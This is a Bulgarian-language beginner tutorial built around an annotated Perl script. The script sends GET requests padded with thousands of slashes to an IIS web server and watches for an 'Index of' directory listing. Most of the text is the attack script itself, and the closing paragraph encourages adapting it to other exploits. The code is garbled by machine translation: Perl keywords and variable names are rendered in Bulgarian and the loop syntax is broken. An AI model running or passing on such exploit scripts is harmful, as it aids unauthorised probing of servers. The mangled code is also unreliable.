Perl Exploit за начинаещи #2

#!/usr/bin/perl #този ред сочи към местоположението на Perl във вашата система use IO::Socket; #Включете библиотеката за работа със сокети (в този контекст "с мрежата") $low = 4000; #Инициализиране на променлива, която показва долната граница на броя на "/", които ще изпратим $hi = 5000; #Същото, но за максималния брой $port = 80; # Порт за свързване. (тук трябва да работи IIS сървърът) $host = "www.ABRACADABRA.ru"; #Адрес на сървър

while($low new(PeerAddr => $host, PeerPort => $port, Proto => "TCP") or die "Connect Failed"; #Този ред инициализира сокета и е еднакъв за всички скриптове.

$url = ""; #Нулирайте стойностите на променливите url,buffer и end $buffer = ""; $end = "";

$url = "ВЗЕМЕТЕ"; # Ще изпратим GET заявка до сървъра $buffer = "/" x $low. "HTTP/1.0\r\n"; #В този ред на променливия буфер се присвоява резултатът от операцията ".", която просто свързва два реда в един. Изразът "/" x $low ще създаде низ от малки интервали. $end = "\r\n\r\n"; #Изпратената заявка трябва да завършва с тази последователност от знаци. Това е само два пъти „връщане на каретка. редов превод"

$url = $url. $буфер. $end; #Комбинирайте три реда в един

отпечатайте $socket "$url"; #Така Pearl изпраща низ към сокета. while( ) #Прочетете отговора от сървъра ред по ред if($_ =

"Индекс на") #Ако отговорът съдържа низа "Индекс на", тогава отпечатайте броя наклонени черти, които ни позволяват да го видим... Ако напишем print $_ , тогава ще ни бъде показан целият низ. ($_ е променливата по подразбиране.) print "Намерено число: $low\n"; затвори($socket); #Затваряне на сокета изход; #Излезте от програмата > > затвори($socket); $low++ # Добавянеедно към стойността на ниската променлива и изпратете отново заявката. >

Дори такава малка програма отразява спецификата на Perl като език за програмиране. По-специално искам да отбележа, че структурата на условния оператор while е следната: while (условие) и това е причината за толкова много кръгли и фигурни скоби в текста на програмата. По принцип горната програма не е много сложна дори за начинаещи, така че мисля, че можете лесно да я допълните с диагностични съобщения или дори да я преработите, за да приложите друг експлойт.